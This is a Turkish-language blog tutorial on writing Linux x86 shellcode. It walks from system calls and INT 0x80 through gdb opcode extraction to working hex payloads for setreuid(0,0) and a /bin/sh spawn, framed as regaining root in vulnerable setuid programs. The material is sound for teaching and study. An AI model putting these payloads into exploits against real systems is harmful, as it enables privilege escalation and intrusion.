29 Ağustos 2009 Cumartesi

Buffer Overflows 2

Buffer Overflows Demystified isimli bir onceki yazimizda ileride
bu konu ile ilgili daha detayli ve daha cok dikkat gerektiren mevzular hakkinda
yazilarimizin gelecegini belirtmistik. Simdi bu sozumuzu tutuyor, ve
serinin ikinci dokumanini sunuyoruz. Dokuman shellcode dizayninin mantigi ve
incelikleri hakkindadir. Intel mimarisinde Linux 2.2 isletim sistemi baz alinmistir.
Konunun temel mantigi butun mimarilerde ayni olmakla beraber, detaylar mimariden
mimariye degisir...


Bu dokuman, birincisinin devami niteligindedir. Olup biteni anlamak
icin oncekini mutlaka okumalisiniz. Dokumani anlamak icin yuzeysel C, assembly
bilmeniz gerekli. Sanal bellek, bir proses'in bellekte nasil yerlestigi ve
benzeri isletim sistemi kavramlari bilgileri cok yardimci olur. Ayrica setuid
programlarin ne olduklari ve nasil calistiklari gibi temel Unix bilgileri
dokumani anlamaniz icin sart. Gdb ve gcc ile daha onceden calismis olmaniz
teknik olarak isinizi kolaylastiracaktir. Yaninizda her halukarda "IA-32
Intel� Architecture Software Developer.s Manual Volume 1: Basic Architecture"
kitabini da hazir bulundurmalisiniz. Bu dokumani
ftp://download.intel.com/design/Pentium4/manuals/24547008.pdf
adresinden indirebilirsiniz.

Bu dokumanin en yeni versiyonlarini,

http://www.enderunix.org/docs/sc-tr.txt

adresinden okuyabilirsiniz...


SHELLCODE Nedir?
Bir onceki dokumanda, israrla programin kontrolunu elimize aldiktan
sonra istedigimiz bir kodu calistirabildigimizi soylemistim. Hatirlayalim:

"Biz strcpy()'yi cagirdigimizda buyuk_array, foo1 array'inin baslangic adresi
olan EBP-16'dan baslayarak, yukari dogru butun stack'i A ile dolduruyor.
Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese
calismasini istedigimiz baska bir program parcaciginin adresini koysak,
fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki
instruction'lari calistirmaya baslamaz mi?

Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini
koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod
calismaya baslayacak ve biz shell'e dusecegiz."

Yine diger yazidan hatirlarsaniz, CPU'nun calistiracagi bu 'instruction'lar,
hafizada belirli bir kesimde bulunuyorlar, ve CPU da EIP'nin gosterdigi hafiza
bolmesindeki komutlari sirayla teker teker calistiriyor. Basitce yaptigimiz
calismasini istedigimiz komutlari iceren machine instruction'lari kontrolumuz
altindaki hafiza bolmesine yerlestirmek.

Iste istedigimiz komutlari iceren bu makina komutlarina shellcode diyoruz.
Bir exploit'in icinde kullanmak icin de, bu komutlarin hafizaya yerlestirebile-
cegimiz sekilde hexadecimal hallerini art arda dizip, bir karakter array'e
koyuyoruz.

Bu komutlari birkac sekilde yazmak mumkun:
1. Hex Code'la direkt yazmak
2. Assembly kodunu yazip, hex kodunu (opcode) cikarmak
3. C kodunu yazip, assembly ve sonra da hex kodunu cikarmak

Bu dokumanda Once ucuncu yontemi kullanip basitce /bin/sh calistiran bir
shellcode olusturmaya calisacagiz, sonra da ikinci yontemden giderek bir iki
systemcall'i calistiran bir shellcode yazacagiz.

Shellcode ile calistirmak isteyecegimiz kod cogu zaman bir sistem programinin
calistirilsi olacaktir. Ornegin, exploit'le kontrolunu ele aldigimiz programin
buyuk ihtimalle yeni bir shell spawn etmesini, eger remote calisacaksa, bir
socket'e baglandiktan sonra o socket'e bir shell bind etmesini isteyecegiz. Bi
program calistirmak demek, kernel'dan "yeni process yaratip calistirma"
servisini cagirmak demektir (execve). Iste bu tip kernel servislerini istemek
icin once user mode'dan kernel mode'a gecmemiz gerekmektedir. Bu islemler,
"kernel giris kapisi" olarak tanimlayabilecegimiz system call'lar (bundan
sonra sistem cagrisi olarak tanimlayacagiz) ile yapilabilmektedir. Bu durumda
shellcode'dan once sistem cagrilarina daha yakindan gozatmakta fayda var.


SYSTEM CALLS (SISTEM CAGRILARI)

Kernel mode'a girisler, onu olusturan olayin niteligine gore uce ayrilirlar:

1. Hardware Interrupt
2. Hardware trap
3. Software initiated trap

Hardware Interrupt'lari adindan da anlasilacagi uzre, donanimsal ihtiyaclardan
dolayi olusturulurlar. Mesela islem bekleyen bir Girdi/Cikti aygiti ya da
sistem'in saati bu tip kesmelere neden olabilirler. Bunlar asenkrondurlar ve
o anda calismakta olan programla ilgili olmayabilirler.

Hardware Traplar, senkron veya asenkron olabilirler ve o anda calisan process
ile ilgilidirler. Bunlara ornek olarak, programda olusan sifira bolme hatasi
(division by zero) verilebilir.

Software Initiated trap'ler tamamen yazilim bazlidir, ve sistem tarafindan
process rescheduling veya network processing gibi olaylari schedule etmek icin
kullanilirlar.

Sistem cagrilari da software initiated trap'larin ozel bir seklidir. Sistem
cagrisini olusturmak icin kullanilan makina komutu, kernel tarafindan ozel
olarak process edilen bir hardware trap olusturmaktadir, kisaca...

System call'i nitelendiren bir interrupt oldugunda, kernel, bu interrupti
process etmenin overhead'ini en aza indirmekle sorumludur. System call
olustugunda, kernel'in system call handler'i system call'a girilen parametre-
lerin dogru userspace adresler oldugunu dogrulamak, bu parametreleri kullanici
alanindan kernel alanina kopyalamak; ve de sistem cagrisini isleyecek bir
kernel rutinini cagirmak durumundadir.

Linux, IA32 mimarisinde sistem cagrilarini karsilamak icin iki metod kullanir:
1. lcall7/lcall27 gates
2. INT 0x80 software interrupt.

Asil Linux uygulamalari INT 0x80'i kullanirken, diger bazi UNIX vendor'larinin
binary'leri de lcall7 mekanizmasini kullanir.

Isletim sisteminin boot prosedulerinden birisi de, Interrupt Descriptor Table
(IDT)'yi olusturmaktir. arch/i386/kernel/traps.c icindeki trap_init()
fonksiyonu, IDT vektorunun 0x80 (128). elemaninin arch/i386/kernel/entry.S deki
system_call entry'e isaret etmesini saglar. Boylece bir INT 0x80,
komutu calistiginda onu karsilayan kernel fonksiyonu calisacaktir.

Sistem cagrisi istegini, cagri anindaki CPU register'larinin durumu belirler.
EAX register'inin alacagi deger, hangi sistem cagirisinin calistirilacagini
tespit eder. Diger registerlar, EAX'in aldigi deger gore parametrik deger
tasirlar.

Ornek vermek gerekirse, bir process'den _exit sistem call cagrilmis olsun.
Isletim sistemi INT 0x80 komutu ile kernel mode'a gecmeden once EAX registerini
sys_exit'i tanimlayan 0x1 yapar, _exit'e girilen integer parametresini
(exit status)'de EBX register ina yazar ve INT 0x80 ile kernel mode'a gecer.
Kernelda bu trap'in sonucunda IDT'ten 0x80'i karsilayacak rutini bulur ve
calistirir. O fonksiyon da, EAX'daki degere gore gerekli system call handler'i
calistirir. Bu durumda EAX 0x1 olduguna gore, kernel/exit.c deki sys_exit
rutini calistirilir. Bu rutin de EBX'deki degere gore islemini yapar, ve bundan
sonra da ret_from_syscall rutinleri calismaya baslar...

Evet, son derece yuzeysel olarak system cagri mantigini ve nasil calistigini
anlattiktan sonra isterseniz simdi exit(0)'i assembler'da yazmaya calisalim.
Sonra da assembler kodunun karsiligini hex opcode'lari bulup, bir string'e
dizip shellcode haline getirecegiz.


EXIT SHELLCODE

Once, C kodunu yazip disassemble edelim ve olayi gozlerimizle gorelim.

$ export CFLAGS=-g

----------------------- c-exit.c ------------------------------
#include

main()
{
exit(0);
}
----------------------- c-exit.c ------------------------------

$ make c-exit
cc -g c-exit.c -o c-exit
$ gdb ./c-exit
(gdb) b main
Breakpoint 1 at 0x80483b7: file c-exit.c, line 5.
(gdb) r
Starting program: /home/balaban/sc/./c-exit
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Breakpoint 1, main () at c-exit.c:5
5 exit(128);
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400a5ee0 <_exit>: mov %ebx,%edx
0x400a5ee2 <_exit+2>: mov 0x4(%esp,1),%ebx
0x400a5ee6 <_exit+6>: mov $0x1,%eax
0x400a5eeb <_exit+11>: int $0x80
--kesildi---

End of assembler dump.
(gdb)

Evet yukarida goruldugu gibi, standart library rutini _exit,
EAX'i sys_exit'in karsiligi olan 0x1 yapip, parametreyi(stack'de) de EBX'e
koyuyor.

Yani, exit(0) icin gerekli assembler instruction'lari:
XOR %EBX, %EBX /* exitin donus kodu, EBX'i sifirliyoruz.*/
MOV $0x1, %EAX /* sys_exit */
INT 0x80 /* SW Interrupt'i generate et. */

Linux System Call table'in kullanici dostu bir hali asagidaki adreste
bulunabilir:
http://world.std.com/~slanning/asm/syscall_list.html

Burada sys_exit asagidaki sekilde tarif edilmis:

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -

Sadece EAX ve EBX kullanilmis, diger registerlar bir mana ifade etmiyor...

Simdi bunu inline assembly kodu olarak girelim:


----------------------- a-exit.c ------------------------------
main()
{
__asm__("
xorl %ebx, %ebx
mov $0x1, %eax
int $0x80
");


}
----------------------- a-exit.c ------------------------------

strace komutu ile program suresince calisan syscall'lari izleyebiliyoruz:

$ strace ./a-exit
execve("./a-exit", ["./a-exit"], [/* 32 vars */]) = 0
brk(0) = 0x80494d8

--- kesildi ---

_exit(0) = ?
$

Yukarida gordugunuz gibi en son _exit(0) calismis...


Simdi de baslamisken, baska bir syscall'a bakalim:
setreuid(0, 0)

Bazi vulnerable programlar, biz daha onceden execution'u ele almadan
privilege'larini drop ediyorlar, direk shell'i spawn ettigimiz zaman da root
shell'e dusmuyoruz.
Onun icin bu gibi durumlarda asil shellcode'un onune bunun gibi bir kod ekleyip
once root privilege'lari tekrar ele aliyoruz.


Yukarida verilen URI'den setreuid(0, 0) icin register'lerin hangi durumda
olmasi gerektigine bakalim:

%eax Name Source %ebx %ecx %edx %esx %edi
70 sys_setreuid kernel/sys.c uid_t uid_t - - -

Yapacagimiz ayni. EAX'a sys_setreuid'in degeri 70'i, EBX'e istedigimiz real
uid'i, ECX'e de istedigimiz effective uid'i yazip INT 0x80 yapacagiz.


----------------------- a-setreuid.c ------------------------------

main()
{
__asm__("
xorl %ebx, %ebx
xorl %ecx, %ecx
mov $0x46, %eax
int $0x80
xorl %ebx, %ebx
mov $0x1, %eax
int $0x80
");

}


----------------------- a-setreuid.c ------------------------------

xorl %ebx, %ebx
EBX register'ini sifir yapiyoruz. Bir sayiyi kendisi ile XOR'larsaniz
o sayiyi sifir yapmis olursunuz. EBX real uid'in ne olacagini belirliyor.

xorl %ecx, %ecx
Ayni sekilde ECX register'ini da sifir yapiyoruz. ECX effective uid'in
ne olacagini belirliyor.

mov $0x46, %eax
EAX register'ina 0x46'yi koyuyoruz. Bu setreuid'in syscall table'daki
degeri.

int $0x80
Interrupt'i trigger ediyoruz.

Bundan sonraki diger kisimlar da exit(0) icin gerekli olan assembler
komutlari.


$ make a-setreuid
cc a-setreuid.c -o a-setreuid
$ su
# strace ./a-setreuid
execve("./a-setreuid", ["./a-setreuid"], [/* 31 vars */]) = 0
brk(0) = 0x80494e4

---- kesildi ----

setreuid(0, 0) = 0
_exit(0) = ?
#

Gordugunuz gibi once setreuid(0, 0), sonra da _exit(0) calismis.
Simdi de yazdigimiz kodun hexadecimal opcode olarak karsiligini
bulup, bunlari bir dizi seklinde yazalim: GDB'de x/bx komutu belirti-
gimiz hafiza bolmesinden bir byte unit'i hexadecimal olarak bize
gosterir. Bizim de istedigimiz tam olarak bu. Daha detayli bilgi
icin: http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_9.html#SEC56

$ gdb ./a-setreuid
(gdb) disas main
Dump of assembler code for function main:
0x8048380
: push %ebp
0x8048381 : mov %esp,%ebp
0x8048383 : xor %ebx,%ebx
0x8048385 : xor %ecx,%ecx
0x8048387 : mov $0x46,%eax
0x804838c : int $0x80
0x804838e : xor %ebx,%ebx
0x8048390 : mov $0x1,%eax
0x8048395 : int $0x80
0x8048397 : leave
0x8048398 : ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 : 0x31
(gdb) x/bx main+4
0x8048384 : 0xdb
(gdb) x/bx main+5
0x8048385 : 0x31
(gdb) x/bx main+6
0x8048386 : 0xc9
(gdb) x/bx main+7
0x8048387 : 0xb8
(gdb) x/bx main+8
0x8048388 : 0x46
(gdb) x/bx main+9
0x8048389 : 0x00
(gdb) x/bx main+10
0x804838a : 0x00
(gdb) x/bx main+11
0x804838b : 0x00
(gdb) x/bx main+12
0x804838c : 0xcd
(gdb) x/bx main+13
0x804838d : 0x80
(gdb) x/bx main+14
0x804838e : 0x31
(gdb) x/bx main+15
0x804838f : 0xdb
(gdb) x/bx main+16
0x8048390 : 0xb8
(gdb) x/bx main+17
0x8048391 : 0x01
(gdb) x/bx main+18
0x8048392 : 0x00
(gdb) x/bx main+19
0x8048393 : 0x00
(gdb) x/bx main+20
0x8048394 : 0x00
(gdb) x/bx main+21
0x8048395 : 0xcd
(gdb) x/bx main+22
0x8048396 : 0x80
(gdb)

Simdi de shellcode'umuzu yazalim:

----------------------- s-setreuid.c ------------------------------
char sc[] = "\x31\xdb" /* xor %ebx, %ebx */
"\x31\xc9" /* xor %ecx, %ecx */
"\xb8\x46\x00\x00\x00" /* mov $0x46, %eax */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx, %ebx */
"\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */
"\xcd\x80"; /* int $0x80 */


main()
{
void (*fp) (void);

fp = (void *)sc;
fp();
}
----------------------- s-setreuid.c ------------------------------

$ su
# make s-setreuid
cc s-setreuid.c -o s-setreuid
# strace ./s-setreuid
execve("./s-setreuid", ["./s-setreuid"], [/* 31 vars */]) = 0
brk(0) = 0x80494f8

---- kesildi

setreuid(0, 0) = 0
_exit(0) = ?
#

Evet yukarida gordugunuz gibi, ayni etkiyi kendi yazdigimiz shellcode'umuz ile
gerceklestirdik.



SHELL SPAWN EDEN SHELLCODE

Isin tatli tarafi burada aslinda. Simdi de yukarida ogrendikleri-
mizi temel alarak shell calistiran bir shellkod yazmaya calisalim. Once yapma-
miz gereken execve systelcall'unu biraz incelemek. Yukarida verdigim adrese
gidin ve ne yapmaniz gerektigini hemen ogrenin:

%eax Name Source %ebx %ecx %edx %esx %edi
11 sys_execve arch/i386/kernel/process.c struct pt_regs - - - -

struct pt_regs kabul ediyor. Eger arch/i386/kernel/process.c'ye bakacak
olursaniz:

/*
* sys_execve() executes a new program.
*/
asmlinkage int sys_execve(struct pt_regs regs)
{
int error;
char * filename;

filename = getname((char *) regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, ®s);
if (error == 0)
current->ptrace &= ~PT_DTRACE;
putname(filename);
out:
return error;
}

execve'nin do_execve diye baska bir fonksiyonu cagirdigini goreceksiniz. Bu
fonksiyona calistirilacak programin adresini (filename), ECX ve EDX register
larini da pass ettigini goreceksiniz. Demek ki EBX register'inda calistiraca-
gimiz programin full pathinin adresi, yani "/bin/sh"'in adresi olmasi gerekiyor:
filename = getname((char *) regs.ebx);

Simdi diger register'larin ne ise yaradigini anlamak icin biraz daha izleyelim:

fs/exec.c'den:

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)

Buradan da, ECX register'inda argv[]'nin adresinin olacagini, EDX register'inda
env[]'in olacagini anliyoruz. env[] yerine NULL koyabiliriz, ama argv[0]
programin ismi olmali. argv[]'nin NULL terminated bir array olma zorunlulugun-
dan dolayi argv[1] de NULL olacak dolayisiyla.

Bu duruma gore, yapmamiz gereken:
* hafizada /bin/sh string'i bulundurmak
* bunun adresini EBX'e yazmak
* hafizada /bin/sh'in ve sifir'in adresini barindiran bir array bulundurmak
* bu char **'in adresini ECX'e yazmak
* EDX'e NULL yazmak
* int $0x80 ile interrupt'i trigger etmek.


Simdi yazmaya baslayalim:

Once hafiazada NULL terminated "/bin/sh" koyalim. bu string'i stack'e push
ederek bunu yapabiliriz:

"/bin/sh" dizisini sonlandiran NULL byte'i (0) EAX registerinda olusturuyoruz:
xorl %eax, %eax

Sifiri stack'e push et:
pushl %eax

Stack'e "//sh" push et:
pushl $0x68732f2f

Stack'e "/bin" push et:
pushl $0x6e69622f

ESP su anda "/bin/sh" dizisinin adresini gosteriyor. Bizim bu adrese EBX'de
ihtiyacimiz var. O zaman onu EBX'e koyalim:
movl %esp, %ebx

EAX hala sifir. Bunu da argv[]'yi sonlandiran NULL icin kullanabiliriz:
pushl %eax

Eger /bin/sh'in adresini de push edersek, ECX'e koymamiz gereken argv'nin adresi
ESP'de olusacaktir. Boylece hafizada char **argv olusturmus oluyoruz:
pushl %ebx

Simdi de bunun adresini ECX'e yazalim:
movl %esp, %ecx

EDX'de envp'nin adresi gerekiyordu. Hatirlarsaniz NULL olabilir demistim:
xorl %edx, %edx

EAX'e syscall tablosunda execve'nin karsiligi olan 11'i yaz:
movb $0xb, %al

Interrupy'i trigger et ve kernel mode'a gec:
int $0x80


----------------------- sc.c ------------------------------

main()
{
__asm__("
xorl %eax,%eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %ebx
movl %esp, %ecx
xorl %edx, %edx
movb $0xb, %eax
int $0x80"
);
}

----------------------- sc.c ------------------------------

$ make sc
cc -g sc.c -o sc
$ ./sc
sh-2.04$

Calisti. Simdi de satir satir opcode'larini bulalim, ve shellcode'umuzu
olusturalim.

$ gdb ./sc
(gdb) disas main
Dump of assembler code for function main:
0x8048380
: push %ebp
0x8048381 : mov %esp,%ebp
0x8048383 : xor %eax,%eax
0x8048385 : push %eax
0x8048386 : push $0x68732f2f
0x804838b : push $0x6e69622f
0x8048390 : mov %esp,%ebx
0x8048392 : push %eax
0x8048393 : push %ebx
0x8048394 : mov %esp,%ecx
0x8048396 : xor %edx,%edx
0x8048398 : mov $0xb,%al
0x804839a : int $0x80
0x804839c : leave
0x804839d : ret
End of assembler dump.
(gdb) x/bx main+3
0x8048383 : 0x31
(gdb) x/bx main+4
0x8048384 : 0xc0
(gdb)
0x8048385 : 0x50
(gdb)
0x8048386 : 0x68
(gdb)
0x8048387 : 0x2f
(gdb)
0x8048388 : 0x2f
(gdb)
0x8048389 : 0x73
(gdb)
0x804838a : 0x68
(gdb)
0x804838b : 0x68
(gdb)
0x804838c : 0x2f
(gdb)
0x804838d : 0x62
(gdb)
0x804838e : 0x69
(gdb)
0x804838f : 0x6e
(gdb)
0x8048390 : 0x89
(gdb)
0x8048391 : 0xe3
(gdb)
0x8048392 : 0x50
(gdb)
0x8048393 : 0x53
(gdb)
0x8048394 : 0x89
(gdb)
0x8048395 : 0xe1
(gdb)
0x8048396 : 0x31
(gdb)
0x8048397 : 0xd2
(gdb)
0x8048398 : 0xb0
(gdb)
0x8048399 : 0x0b
(gdb)
0x804839a : 0xcd
(gdb)
0x804839b : 0x80
(gdb)


----------------------- sc.c ------------------------------

char sc[] =
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */

main()
{
void (*fp) (void);

fp = (void *)sc;
fp();
}


----------------------- sc.c ------------------------------

$ make s-sc
cc -g s-sc.c -o s-sc
$ ./s-sc
sh-2.04$

Hiç yorum yok:

Yorum Gönder